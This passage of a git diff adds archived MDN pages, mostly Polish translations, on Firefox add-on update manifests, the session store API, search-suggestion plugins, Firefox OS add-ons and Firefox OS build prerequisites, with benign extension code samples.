+ <li><code><a href="/en-US/Add-ons/SDK/Tools/package_json#updateURL">updateURL</a></code>: This URL is included in the <a href="/en-US/docs/Mozilla/Add-ons/Install_Manifests">install manifest</a> of the XPI file that <code>jpm xpi</code> builds. It points to your update manifest. The <code>updateURL</code> value <em>may</em> be HTTPS. If it is not, then you'll also need to sign the update manifest, and then include the public key using the <code><a href="/en-US/Add-ons/SDK/Tools/package_json#updateKey">updateKey</a></code> field in package.json. See <a href="/en-US/docs/Extension_Versioning%2C_Update_and_Compatibility#Securing_Updates">Securing updates</a> for more on this.</li>
+ <li><code><a href="/en-US/Add-ons/SDK/Tools/package_json#updateLink">updateLink</a></code>: This URL is included in the update manifest file. It points to the XPI, and <em>must</em> be an HTTPS URL.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11847/addons-update.svg" title="[https://mdn.mozillademos.org]"></p>
+
+<p>If you include <code>updateURL</code> and <code>updateLink</code> (and also <code>updateKey</code> in case <code>updateURL</code> is not HTTPS), then <code>jpm xpi</code> will:</p>
+
+<ul>
+ <li>Embed the value you supplied for <code>updateURL</code> in the XPI it generates.</li>
+ <li>Generate an update manifest alongside the XPI, and embed the value you supplied for <code>updateLink</code> in the manifest.</li>
+</ul>
+
+<p>You then host the update manifest at <code>updateURL</code>, and host new versions of the XPI at <code>updateLink</code>.</p>
+
+<p>For some more details on this, see <a href="/en-US/docs/Extension_Versioning,_Update_and_Compatibility#Automatic_Add-on_Update_Checking">Automatic Add-on Update Checking</a>.</p>
diff --git a/files/pl/archive/add-ons/api_przechowywania_sesji/index.html b/files/pl/archive/add-ons/api_przechowywania_sesji/index.html
new file mode 100644
index 0000000000..ec38997ac2
--- /dev/null
+++ b/files/pl/archive/add-ons/api_przechowywania_sesji/index.html
@@ -0,0 +1,85 @@
+---
+title: API przechowywania sesji
+slug: Archive/Add-ons/API_przechowywania_sesji
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+translation_of: Archive/Add-ons/Session_store_API
+---
+<p>
+</p><p><a href="pl/Firefox_2">Firefox 2</a> wprowadza mechanizm przechowywania sesji który umożliwia <a href="pl/Rozszerzenia">rozszerzeniom</a> łatwo zapisywać i przywracać dane pomiędzy sesjami Firefoksa. Istnieje też proste API, które umożliwia rozszerzeniom łatwy dostęp do zapisanych sesji.
+</p><p>Przykładem sytuacji, w której wsparcie dla tej funkcji może być kluczowe: Firefox 2 pozwala użytkownikom przywrócić uprzednio zamknięte karty. W celu prawidłowego przechowania stanu Twojego rozszerzenia kiedy karta zostaje przywrócona, musi ono skorzystać z metody API przechowywania sesji <code>setTabValue()</code>, aby zachować wszelkie dane, które potem będzie należało przywrócić, a następnie, podczas przywracania karty, wywołać <code>getTabValue()</code>, aby odzyskać uprzednio zachowane ustawienia.
+</p><p>API przechowywania sesji jest zaimplementowane przy użyciu interfejsu <code><a href="pl/NsISessionStore">nsISessionStore</a></code>.
+</p>
+<h2 id="Sk.C4.85d_wiedzie.C4.87_kiedy_przywraca.C4.87.3F">Skąd wiedzieć kiedy przywracać?</h2>
+<p>Za każdym razem kiedy Firefox ma przywrócić uprzednio zamkniętą kartę, zostaje wysłane zdarzenie <code>SSTabRestoring</code>. Jeżeli chcesz, aby Twoje rozszerzenie mogło przywracać dane podczas przywracania karty, wystarczy, że ustawisz nasłuch (listener) na to zdarzenie:
+</p>
+<pre>function myExtensionHandleRestore(aEvent) {
+ Components.classes["@mozilla.org/consoleservice;1"].
+ getService(Components.interfaces.nsIConsoleService).
+ logStringMessage("przywracanie kart");
+};
+
+document.addEventListener("SSTabRestoring", myExtensionHandleRestore, false);
+</pre>
+<p>Po prostu zastąp treść funkcji <code>myExtensionHandleRestore()</code> swoim własnym kodem. W powyższym przykładzie został użyty serwis (service) <code><a href="pl/NsIConsoleService">nsIConsoleService</a></code>, do wyświetlenia wiadomość w <a href="pl/Konsola_b%c5%82%c4%99d%c3%b3w">konsoli</a>.
+</p><p>Zdarzenie jest wysyłane tuż przed przywróceniem karty. Zdarzenie typu <code>SSTabRestored</code> jest wysyłane po przywróceniu ostatniej karty.
+</p>
+<h2 id="Proces_przywracania_sesji">Proces przywracania sesji</h2>
+<p>Dokładna sekwencja zdarzeń, która jest wykonywana podczas przywracania sesji wygląda tak:
+</p>
+<ol><li> Stan sesji ma zostać przywrócony. Może się to zdarzyć podczas startu przeglądarki, albo w wyniku akcji Przywróć Zamkniętą Kartę, ponieważ zamknięte karty są przywracane jako sesje pojedyńczych kart.
+</li><li> Nowe okna są otwierane zgodnie z kolejnością (jedno na każde okno, które zostało zachowane), następnie przywracane są ciastka oraz ostatnio zamknięte karty.
+</li></ol>
+<p>Po tym, dla każdej przywracanej karty, zostają podjęte następujące kroki:
+</p>
+<ol><li> Albo wykorzystywana jest istniejąca karta, albo tworzona nowa. W drugim przypadku, wysyłane jest zdarzenie <code>TabOpen</code>.
+</li><li> Przywracane są przechowywane stałe atrybuty XUL (ang. persistent attributes) (te zapisane poprzez odwołania do <code><a href="pl/NsISessionStore#persistTabAttribute.28.29">persistTabAttribute()</a></code>) oraz uprawnienia.
+</li><li> Wysyłane jest zdarzenie <code>SSTabRestoring</code>.
+</li><li> Karta zaczyna pobierać URL, który ma wyświetlić.
+</li><li> Po zakończeniu ładowania strony, przywracane są stany pól tekstowych i przewijania.
+</li><li> Na końcu, wysyłane jest zdarzenie <code>SSTabRestored</code>.
+</li></ol>
+<p>Jeżeli chcesz ustawić uprawnienia lub w inny sposób zmieniać przywracaną kartę przed załadowaniem strony, powinieneś obserwować <code>SSTabRestoring</code>. Jeżeli chcesz zrobić coś po załadowaniu strony, należy obserwować <code>SSTabRestored</code>.
+</p><p>Oba zdarzenia są zawsze wysyłane dla każdej, przywracanej, karty. Możesz określić, która karta jest przywracana przez sprawdzenie pola <code>originalTarget</code> z obiektu zdarzenia.
+</p><p>Właściwie nie istnieje metoda na określenie kiedy ostatnia karta została przywrócona, chyba, że określisz ile kart ma zostać przywróconych, a następnie policzysz zdarzenia <code>SSTabRestored</code>.
+</p>
+<h2 id="Wykorzystanie_API_przechowywania_sesji">Wykorzystanie API przechowywania sesji</h2>
+<p>Tutaj opisujemy kilka prostych przykładów wykorzystania API przechowywania sesji.
+</p>
+<h3 id="Zachowywanie_warto.C5.9Bci_dla_karty">Zachowywanie wartości dla karty</h3>
+<p>Poniższy kod dołączy do karty parę klucz/wartość. Po przywróceniu karty, ta para będzie z nią powiązana.
+</p>
+<pre class="eval"> var ss = Components.classes["@mozilla.org/browser/sessionstore;1"].
+ getService(Components.interfaces.nsISessionStore);
+ var currentTab = getBrowser().selectedTab;
+ var dataToAttach = "Chcę to przyłączyć";
+ ss.setTabValue(currentTab, "key-name-here", dataToAttach);
+</pre>
+<p>Ten kod ustawia wartość klucza "key-name-here" na &lt;var&gt;dataToAttach&lt;/var&gt;. Możesz tu użyć dowolnego obiektu JavaScript jako danych.
+</p>
+<h3 id="Pobieranie_zachowanej_warto.C5.9Bci">Pobieranie zachowanej wartości</h3>
+<p>W dowolnym momencie możesz pobrać wartość powiązaną z kartą (niezależnie czy karta jest w takcie przywracania czy nie), używając takiego kodu:
+</p>
+<pre class="eval"> var ss = Components.classes["@mozilla.org/browser/sessionstore;1"].
+ getService(Components.interfaces.nsISessionStore);
+ var currentTab = getBrowser().selectedTab;
+ var retrievedData = ss.getTabValue(currentTab, "key-name-here");
+</pre>
+<p>Po wykonaniu tego kodu, zmienna &lt;var&gt;retrivedData&lt;/var&gt; zawiera zachowaną wartość dla klucza "key-name-here". &lt;var&gt;retrievedData&lt;/var&gt; pozostanie jako undefined jeśli nie została zachowana żadna wartość dla tego klucza.
+</p>
+<h3 id="Usuwanie_warto.C5.9Bci_powi.C4.85zanej_z_kart.C4.85">Usuwanie wartości powiązanej z kartą</h3>
+<p>Aby usunąć wartość z karty, możesz skorzystać z poniższego kodu:
+</p>
+<pre class="eval"> var ss = Components.classes["@mozilla.org/browser/sessionstore;1"].
+ getService(Components.interfaces.nsISessionStore);
+ var currentTab = getBrowser().selectedTab;
+ ss.deleteTabValue(currentTab, "key-name-here");
+</pre>
+<h3 id="Uwagi">Uwagi</h3>
+<p>Funkcje zachowywania i przywracania dla okien działają tak samo jak te dla kart (z uwzględnieniem zmian w nazwach).
+</p>
+<h2 id="Zobacz_te.C5.BC">Zobacz też</h2>
+<p><a href="pl/NsISessionStore">nsISessionStore</a>
+</p>{{ languages( { "es": "es/API_de_restauraci\u00f3n_de_sesi\u00f3n", "fr": "fr/API_de_restauration_de_session", "ja": "ja/Session_store_API", "en": "en/Session_store_API" } ) }}
diff --git a/files/pl/archive/add-ons/index.html b/files/pl/archive/add-ons/index.html
new file mode 100644
index 0000000000..caac45ae4c
--- /dev/null
+++ b/files/pl/archive/add-ons/index.html
@@ -0,0 +1,8 @@
+---
+title: Add-ons
+slug: Archive/Add-ons
+translation_of: Archive/Add-ons
+---
+<p>In progress. Archived add-ons documentation.</p>
+
+<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/pl/archive/add-ons/wsparcie_dla_podpowiedzi_wyszukiwania_w_wyszukiwarkach/index.html b/files/pl/archive/add-ons/wsparcie_dla_podpowiedzi_wyszukiwania_w_wyszukiwarkach/index.html
new file mode 100644
index 0000000000..abea49f93b
--- /dev/null
+++ b/files/pl/archive/add-ons/wsparcie_dla_podpowiedzi_wyszukiwania_w_wyszukiwarkach/index.html
@@ -0,0 +1,58 @@
+---
+title: Wsparcie dla podpowiedzi wyszukiwania w wyszukiwarkach
+slug: Archive/Add-ons/Wsparcie_dla_podpowiedzi_wyszukiwania_w_wyszukiwarkach
+tags:
+ - Dodatki
+ - Wszystkie_kategorie
+ - Wtyczki_wyszukiwarek
+translation_of: Archive/Add-ons/Supporting_search_suggestions_in_search_plugins
+---
+<p>
+</p><p>MozSearch wspiera podpowiedzi wyszukiwania; gdy użytkownik wprowadza dane w panelu wyszukiwania, <a href="pl/Firefox_2">Firefox 2</a> przesyła zapytanie do adresu URL określonego przez wtyczkę wyszukiwarki, aby dostarczyć dynamiczne podpowiedzi wyszukiwania.
+</p><p>Gdy lista zostanie dostarczona, może ona być wyświetlona w wyskakującym okienku (popup), które pojawia się pod panelem wyszukiwania i pozwala użytkownikowi wybrać jeden z sugerowanych wyników. Jeśli użytkownik będzie kontynuował wpisywanie, zażądany zostanie nowy zestaw podpowiedzi z silnika wyszukiwarki i zastąpi on obecnie wyświetlaną listę.
+</p><p>Wtyczki wyszukiwania Yahoo i Google dołączone z Firefoksem 2 obsługują podpowiedzi wyszukiwania.
+</p>
+<h2 id="Implementowanie_obs.C5.82ugi_podpowiedzi_we_wtyczkach_wyszukiwarek" name="Implementowanie_obs.C5.82ugi_podpowiedzi_we_wtyczkach_wyszukiwarek">Implementowanie obsługi podpowiedzi we wtyczkach wyszukiwarek</h2>
+<p>Aby obsługiwać podpowiedzi wyszukiwania, wtyczka musi posiadać zdefiniowany dodatkowy element <code>&lt;Url&gt;</code> wraz z atrybutem <code>type</code> ustawionym na <code>"application/x-suggestions+json"</code> (oznacza to, że wtyczka wyszukiwarki obsługująca podpowiedzi będzie mieć dwa elementy <code>&lt;Url&gt;</code>, z których jeden jest głównym adresem URL typu <code>text/html</code> i odpowiada za wyszukiwarkę).
+</p><p>Na przykład, wtyczka wyszukiwarki Yahoo posiada taki wpis <code>&lt;Url&gt;</code>:
+</p>
+<pre>&lt;Url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchTerms}"/&gt;
+</pre>
+<p>Jeśli użytkownik wprowadzi "fir" w panelu wyszukiwania, po czym się zatrzyma, Firefox umieści "fir" w miejsce <code>{searchTerms}</code> i wyśle zapytanie do takiego adresu URL:
+</p>
+<pre>&lt;Url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command=fir"/&gt;
+</pre>
+<p>Wyniki są używane do stworzenia okienka z listą podpowiedzi.
+</p><p>Zobacz <a href="pl/Tworzenie_wtyczek_MozSearch">Tworzenie wtyczek MozSearch</a>, aby dowiedzieć się więcej o tym, jak zaimplementować wtyczkę wyszukiwarki.
+</p>
+<h2 id="Implementowanie_obs.C5.82ugi_podpowiedzi_na_serwerze" name="Implementowanie_obs.C5.82ugi_podpowiedzi_na_serwerze">Implementowanie obsługi podpowiedzi na serwerze</h2>
+<p>Większość z obsługi podpowiedzi wyszukiwania jest obecnie implementowane po stronie serwera. Jeśli jesteś projektantem strony internetowej i chcesz wspierać podpowiedzi wyszukiwania, musisz zaimplementować obsługę zwracania podpowiedzi w <a class="external" href="http://www.json.org/">Notacji Obiektu JavaScript</a> (JavaScript Object Notation - JSON).
+</p><p>Gdy przeglądarka chce otrzymać możliwe wyniki dla szukanego wyrażenia, wysyła ona żądanie HTTP GET do adresu URL określonego w elemencie <code>&lt;Url&gt;</code>.
+</p><p>Wtedy Twój serwer powinien wybrać podpowiedzi, które jego zdaniem pasują do określonych warunków wyszukiwania i stworzyć JSON, który składa się z co najmniej dwóch i co najwyżej z czterech elementów:
+</p>
+<dl><dt> <b>łańcuch zapytania</b>
+</dt><dd> Pierwszy element w JSON jest oryginalnym łańcuchem znaków zapytania. Pozwala to Firefoksowi zweryfikować czy podpowiedzi odpowiadają obecnym warunkom wyszukiwania.
+</dd></dl>
+<dl><dt> <b>lista dopełnienia</b>
+</dt><dd> Tablica sugerowanych warunków wyszukiwania. Tablica powinna być ograniczona nawiasami kwadratowymi. Na przykład: &lt;tt&gt;{{ mediawiki.external('\"warunek 1\", \"warunek 2\", \"warunek 3\", \"warunek 4\"') }}&lt;/tt&gt;
+</dd></dl>
+<dl><dt> <b>opisy</b>
+</dt><dd> Ten opcjonalny element jest tablicą, składającą się z opisów dla każdej podpowiedzi określonej w elemencie <i>lista dopełnienia</i>. Mogą to być dodatkowe informacje, które silnik wyszukiwarki może zwrócić do wyświetlenia przez przeglądarkę, jak na przykład ilość wyników dostępnych dla tego wyszukiwania.
+</dd></dl>
+<div class="note">Opisy nie są obsługiwane w Firefoksie 2 i w przypadku ich zdefiniowania są one ignorowane.</div>
+<dl><dt> <b>adresy URL zapytania</b>
+</dt><dd> Ten opcjonalny element jest tablicą alternatywnych adresów URL dla każdej podpowiedzi w elemencie <i>lista dopełnienia</i>. Na przykład, jeśli chcesz zaproponować mapę odnośników zamiast strony z wynikami wyszukiwania dla podanej podpowiedzi, możesz w tej tablicy zwrócić adres URL do mapy.
+</dd></dl>
+<dl><dd> Jeśli nie określisz adresu URL zapytania, użyte zostanie domyślne zapytanie oparte na wyszukiwarce opisanej przez element <code>&lt;Url&gt;</code> w opisie XML wtyczki wyszukiwania.
+</dd></dl>
+<div class="note">Element "adresy URL zapytania" nie jest obsługiwany w Firefoksie 2 i jest ignorowany.</div>
+<p>Na przykład, jeśli wyrażeniem wyszukiwania jest "fir" i nie zwracasz opisów i alternatywnych adresów URL zapytania, możesz zwrócić następujący JSON:
+</p>
+<pre class="eval">["fir", ["firefox", "first choice", "mozilla firefox"]]
+</pre>
+<p>Zauważ, że w tym przykładzie określony jest tylko łańcuch zapytania i lista dopełnienia, z pominięciem elementów opcjonalnych.
+</p><p>Twoja lista dopełnienia może zawierać tyle wiele podpowiedzi, ile tylko chcesz, jednak powinna ona być łatwa w obsłudze, zwłaszcza że będzie ona dynamicznie uaktualniana podczas wpisywania przez użytkownika słów do wyszukania. Ponadto metoda, której będziesz używał do wyboru podpowiedzi, zależy wyłącznie od Ciebie.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "ca": "ca/Implementaci\u00f3_de_suggeriments_en_els_connectors_de_cerca", "en": "en/Supporting_search_suggestions_in_search_plugins", "es": "es/Permitir_sugerencias_en_los_plugins_de_b\u00fasqueda", "fr": "fr/Gestion_de_suggestions_dans_les_plugins_de_recherche", "it": "it/Supportare_i_suggerimenti_nei_plugin_di_ricerca", "ja": "ja/Supporting_search_suggestions_in_search_plugins", "zh-tw": "zh_tw/\u8b93\u641c\u5c0b\u6a21\u7d44\u652f\u63f4\u641c\u5c0b\u5efa\u8b70" } ) }}
diff --git a/files/pl/archive/b2g_os/add-ons/index.html b/files/pl/archive/b2g_os/add-ons/index.html
new file mode 100644
index 0000000000..7fe91371cd
--- /dev/null
+++ b/files/pl/archive/b2g_os/add-ons/index.html
@@ -0,0 +1,58 @@
+---
+title: Firefox OS add-ons
+slug: Archive/B2G_OS/Add-ons
+translation_of: Archive/B2G_OS/Add-ons
+---
+<p class="summary">Firefox OS 2.5 introduces support for add-ons, a feature that desktop users have known and loved since the beginning of Firefox.  Add-ons on Firefox OS are even more powerful and can customize not only the browser, but the whole phone experience, including tweaks to the homescreen and system apps like E-Mail and Messages. This page tells you everything you need to know to get started with creating Firefox OS add-ons and get involved with the add-ons community.</p>
+
+<div class="note">
+<p dir="ltr"><strong>Note</strong>: Firefox OS add-ons are based on the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions API</a>, which is also supported in Firefox desktop starting with version 42 and is based on the extension APIs used in Chrome and Opera.</p>
+</div>
+
+<h2 id="Prerequisites">Prerequisites</h2>
+
+<p>You should follow the below steps to get set up to start developing extensions.</p>
+
+<h3 dir="ltr" id="1._Flash_your_phone_to_Firefox_OS_2.5">1. Flash your phone to Firefox OS 2.5</h3>
+
+<p dir="ltr">Firefox OS add-ons are only supported on Firefox OS 2.5 and later.  Here’s a list of supported devices and how to update them (this list is incomplete, and will be added to as time goes on.)</p>
+
+<ul>
+ <li dir="ltr">Flame (recommended): See <a href="/en-US/Firefox_OS/Phone_guide/Flame/Updating_your_Flame#Quick_guide_to_updating_your_device">Quick guide to updating your Flame</a>.</li>
+</ul>
+
+<h3 id="2._Enable_USB_Debugging">2. Enable USB Debugging</h3>
+
+<p>In the <em>Settings</em> app on the device, select <em>Developer &gt; Debugging via USB &gt; ADB and Devtools</em>.  You should now be able to debug installed apps using WebIDE, either via a USB cable, <a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_OS_over_Wifi">and over Wifi</a> (no USB cable required.)</p>
+
+<h3 id="3._Set_up_WebIDE">3. Set up WebIDE</h3>
+
+<p>The <a href="/en-US/docs/Tools/WebIDE">WebIDE</a> tool is part of Firefox and can be used to install add-ons on your phone during development — see <a href="/en-US/docs/Mozilla/Firefox_OS/Add-ons/Developing_Firefox_OS_add-ons#Testing_your_add-on_using_WebIDE">Testing your add-on using WebIDE</a> for more information.</p>
+
+<h2 id="See_also">See also</h2>
+
+<h3 id="Developing">Developing</h3>
+
+<ul>
+ <li dir="ltr"><strong>Tutorial</strong>: <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Add-ons/Developing_Firefox_OS_add-ons">https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Add-ons/Developing_Firefox_OS_add-ons</a></li>
+ <li dir="ltr"><strong>In-depth example</strong>: <a href="https://hacks.mozilla.org/2015/11/building-an-ios-style-unread-notifications-add-on-for-firefox-os/">https://hacks.mozilla.org/2015/11/building-an-ios-style-unread-notifications-add-on-for-firefox-os/</a></li>
+ <li dir="ltr"><strong>API reference</strong>: <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">https://developer.mozilla.org/en-US/Add-ons/WebExtensions</a></li>
+</ul>
+
+<h3 dir="ltr" id="Distributing">Distributing</h3>
+
+<ul>
+ <li dir="ltr"><strong>Submitting to Marketplace</strong>: <a href="/en-US/docs/Mozilla/Marketplace/Add-on_submission">Add-on submission</a></li>
+ <li dir="ltr"><strong>Review criteria</strong> (working draft): <a href="/en-US/docs/Mozilla/Marketplace/Add-on_submission/Review_criteria">Add-on review criteria</a></li>
+</ul>
+
+<h3 dir="ltr" id="Get_involved">Get involved</h3>
+
+<ul>
+ <li dir="ltr"><strong>Mailing list</strong>: <a href="https://mail.mozilla.org/listinfo/dev-addons">https://mail.mozilla.org/listinfo/dev-fxos</a></li>
+ <li dir="ltr"><strong>Discourse forum</strong>: <a href="https://discourse.mozilla-community.org/c/add-ons/development">https://discourse.mozilla-community.org/c/add-ons/development</a></li>
+ <li dir="ltr"><strong>IRC</strong>:  irc.mozilla.org, #webextensions and #fxos</li>
+ <li dir="ltr"><strong>Join the unofficial Telegram group</strong>: <a href="https://telegram.me/joinchat/BTLPMAC90O9n8cpgsZ03_A">https://telegram.me/joinchat/BTLPMAC90O9n8cpgsZ03_A</a></li>
+ <li dir="ltr"><strong>Let us know what new APIs we should prioritize</strong>: <a href="https://webextensions.uservoice.com/forums/315663-webextension-api-ideas">https://webextensions.uservoice.com/forums/315663-webextension-api-ideas</a></li>
+ <li dir="ltr"><strong>Follow us on Twitter</strong>: <a href="https://twitter.com/MozWebExt">@MozWebExt</a></li>
+</ul>
diff --git a/files/pl/archive/b2g_os/firefox_os_wstępne_budowanie/index.html b/files/pl/archive/b2g_os/firefox_os_wstępne_budowanie/index.html
new file mode 100644
index 0000000000..f9e294568c
--- /dev/null
+++ b/files/pl/archive/b2g_os/firefox_os_wstępne_budowanie/index.html
@@ -0,0 +1,381 @@
+---
+title: Firefox OS wstępne budowanie
+slug: Archive/B2G_OS/Firefox_OS_wstępne_budowanie
+translation_of: Archive/B2G_OS/B2G_OS_build_prerequisites
+---
+<div class="summary">
+ <p><span class="seoSummary">Before obtaining the code to build Firefox OS, you need a properly configured <a href="https://developer.mozilla.org/en-US/docs/Developer_Guide/Build_Instructions" title="https://developer.mozilla.org/en-US/docs/Developer_Guide/Build_Instructions">build system</a> — this page shows you how. You can currently build on 64-bit Linux distributions and OS X.</span></p>
+</div>
+<div class="note">
+ <p><strong>Note</strong>: To build Firefox OS onto a phone, begin with your phone NOT connected to your computer. We'll tell you when to plug it in.</p>
+</div>
+<h2 id="Posiadaj_kompatybilne_urządzenieemulator">Posiadaj kompatybilne urządzenie/emulator</h2>
+<p>You need to have a compatible device to build onto, or to use an emulator. Though we support several phones, some have multiple variations. We currently support specific variations and some devices have better support than others.</p>
+<div class="note">
+ <p><strong>Note</strong>: Mozilla's <a href="https://github.com/mozilla-b2g/B2G">B2G source code</a> effectively is the reference implementation of B2G, but phone vendors are free to add patches or make changes. When you buy an Alcatel One Touch for example, it contains the vendor's version. This doesn't make a difference for the installed apps, but it can at the platform level. The Nexus 4 port is maintained directly by Mozilla; so it's a lot more likely to work with our version of Gecko out of the box than other tier 3 devices.</p>
+</div>
+<h3 id="Krok_1">Krok 1</h3>
+<p>Tier 1 devices represent a primary target for development and will typically be the first to receive bug fixes and feature updates.</p>
+<dl>
+ <dt>
+ Keon</dt>
+ <dd>
+ Keon is the <a href="http://www.geeksphone.com/" title="http://www.geeksphone.com/">Geeksphone</a> Keon device, which was one of the initial developer phones. Note that builds for this device are provided by Geeksphone.</dd>
+ <dt>
+ Inari</dt>
+ <dd>
+ Inari is another testing device. Use this configuration to build for the ZTE Open device. <strong>Warning:</strong> newer builds of Firefox OS may have trouble booting on the ZTE Open's default boot partition.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators">Emulator (ARM and x86)</a></dt>
+ <dd>
+ There are two emulators available: one emulates ARM code and the other runs everything in x86 code. <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators">Learn more about installing and using the emulators</a>.</dd>
+ <dd>
+ <strong>Note that you shouldn't use the x86 emulator — it is hard to install and not well supported.</strong></dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client">Desktop</a></dt>
+ <dd>
+ You can also build a desktop version of Firefox OS; this runs <a href="/en-US/docs/Mozilla/Gecko" title="/en-US/docs/Mozilla/Gecko">Gecko</a> in a <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a> application, and you then use the <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Introduction_to_Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Introduction_to_Gaia">Gaia</a> user experience inside it.</dd>
+</dl>
+<p>You can, of course, build the <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client">desktop client</a> or one of the <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators">emulators</a> without a phone.</p>
+<h3 id="Krok_2">Krok 2</h3>
+<p><span id="answer_long1" style="display: block;">Tier 2 devices are generally functional and many developers (especially app developers) are using them, so they tend to pick up changes secondarily.</span></p>
+<dl>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Samsung_Nexus_S" title="/en-US/docs/Mozilla/Firefox_OS/Samsung_Nexus_S"><span class="link-https">Samsung Nexus S</span></a></dt>
+ <dd>
+ The known working model numbers of Nexus S devices are GT-I9020A and GT-I9023. Others may work.</dd>
+ <dt>
+ Samsung Nexus S 4G</dt>
+ <dd>
+ The SPH-D720 is supported as a tier 2 device.</dd>
+</dl>
+<h3 id="Krok_3">Krok 3</h3>
+<p><span id="answer_long1" style="display: block;">Firefox OS can be built for these devices, but they are not being actively worked on a regular basis by core developers. Their reliability and feature set may lag noticeably behind tier 1 and even tier 2 devices.</span></p>
+<dl>
+ <dt>
+ Samsung Galaxy S2</dt>
+ <dd>
+ The only model that works is the i9100; no other variants are officially compatible. (i9100P might work, since the only change is a NFC chip added)</dd>
+ <dt>
+ Samsung Galaxy Nexus</dt>
+ <dd>
+ We are not currently aware of any variations that are not compatible.</dd>
+ <dt>
+ Nexus 4</dt>
+ <dd>
+ Some users on IRC have tested this successfully. May or may not require reflashing to Android 4.3 first if was running 4.4 (Android <a href="https://developers.google.com/android/nexus/images#occamjwr66y">images available from Google</a>)</dd>
+ <dt>
+ Nexus 5</dt>
+ <dd>
+ Some users on IRC have tested this successfully.</dd>
+ <dt>
+ Tara</dt>
+ <dd>
+ Tara is another testing device. Manifest of Tara is in master branch only. The script of getting Tara code is "BRANCH=master ./config.sh tara".</dd>
+ <dt>
+ Unagi</dt>
+ <dd>
+ Unagi is a phone being used as a test and development platform as a low-to-midrange smartphone. Many core Firefox OS developers are working on Unagi.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Pandaboard" title="/en-US/docs/Mozilla/Firefox_OS/Pandaboard">Pandaboard</a></dt>
+ <dd>
+ The Pandaboard is a development board based on the OMAP 4 architecture, used to do development work on mobile platforms.</dd>
+</dl>
+<div class="warning">
+ <strong>Important</strong>: Only devices running at least <strong>Android 4</strong> (aka <strong>Ice Cream Sandwich</strong>) are supported. If your device is listed above but running an older version of Android, please update it before doing anything.</div>
+<div class="note">
+ <p><strong>Note</strong>: Tier 2 and Tier 3 devices have a software home button instead of a hardware home button</p>
+ <p>All Tier 1 devices have a hardware Home button which returns the user to the home screen. Most current ICS based Android devices use onscreen touch buttons for navigation. We have a virtual home button for the devices without hardware home button now. If it's not automatically enabled, <span style="line-height: 1.5em; font-size: 14px;">open the Settings app, go to the <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a>, and then toggle on the <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Enable_software_home_button">Enable software home button</a> preference.</span></p>
+ <p><span style="line-height: 1.5em; font-size: 14px;">In 1.4 there is also a developer option for "Home gesture enabled"; enabling that will remove the on-screen home button in favor of swiping up from the bottom of the screen.</span></p>
+</div>
+<h2 id="Wymagania_dla_systemu_GNULinux">Wymagania dla systemu GNU/Linux</h2>
+<p>To build on Linux, you'll need:</p>
+<ul>
+ <li>A <strong>64 bit GNU/Linux</strong> distribution (Ubuntu 12.04 recommended).</li>
+ <li>At least <strong>4 GB</strong> of RAM.</li>
+ <li>At least <strong>30 GB</strong> of available hard disk space.</li>
+</ul>
+<p>This is more than the bare minimum, but sometimes building fails just because it's missing resources. A typical error in this case is "<span style="line-height: 1.5;"><strong>arm-linux-androideabi-g++: Internal error: Killed (program cc1plus)</strong>".</span></p>
+<p>You will also need the following tools installed:</p>
+<ul>
+ <li><strong>autoconf 2.13</strong></li>
+ <li><strong>bison</strong></li>
+ <li><strong>bzip2</strong></li>
+ <li><strong>ccache</strong></li>
+ <li><strong>curl</strong></li>
+ <li><strong>flex</strong></li>
+ <li><strong>gawk</strong></li>
+ <li><strong>git</strong></li>
+ <li><strong>gcc / g++ / g++-multilib</strong></li>
+ <li><strong>make</strong></li>
+ <li><strong>OpenGL shared libraries</strong></li>
+ <li><strong>patch</strong></li>
+ <li><strong>X11 headers</strong></li>
+ <li><strong>32-bit ncurses</strong></li>
+ <li><strong>32-bit zlib</strong></li>
+</ul>
+<h3 id="Emulator_build_issues"><strong>Emulator build issues</strong></h3>
+<p>If you are making an <strong>emulator</strong> build, you need to pay attention to these issues:</p>
+<div class="note">
+ <p><strong>First, note that you shouldn't use the x86 emulator — it is hard to install and not well supported.</strong></p>
+</div>
+<p>Next, the build-system for the emulator builds both 32bit and 64bit versions of the emulator. As the emulator depends on OpenGL, this means that you need to have both 32bit and 64bit versions of OpenGL libraries installed on your system. See the discussion in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=897727" title="https://bugzilla.mozilla.org/show_bug.cgi?id=897727">bug 897727</a>.</p>
+<p>There are two ways that you can solve this problem:</p>
+<h4 id="Solution_1_have_both_32bit_and_64bit_OpenGL_libs_installed_with_the_right_symlinks">Solution #1: have both 32bit and 64bit OpenGL libs installed, with the right symlinks</h4>
+<p>If your linux distro has multilib packages for OpenGL libraries, you can attempt installing them. You might then have to manually create some symlinks.</p>
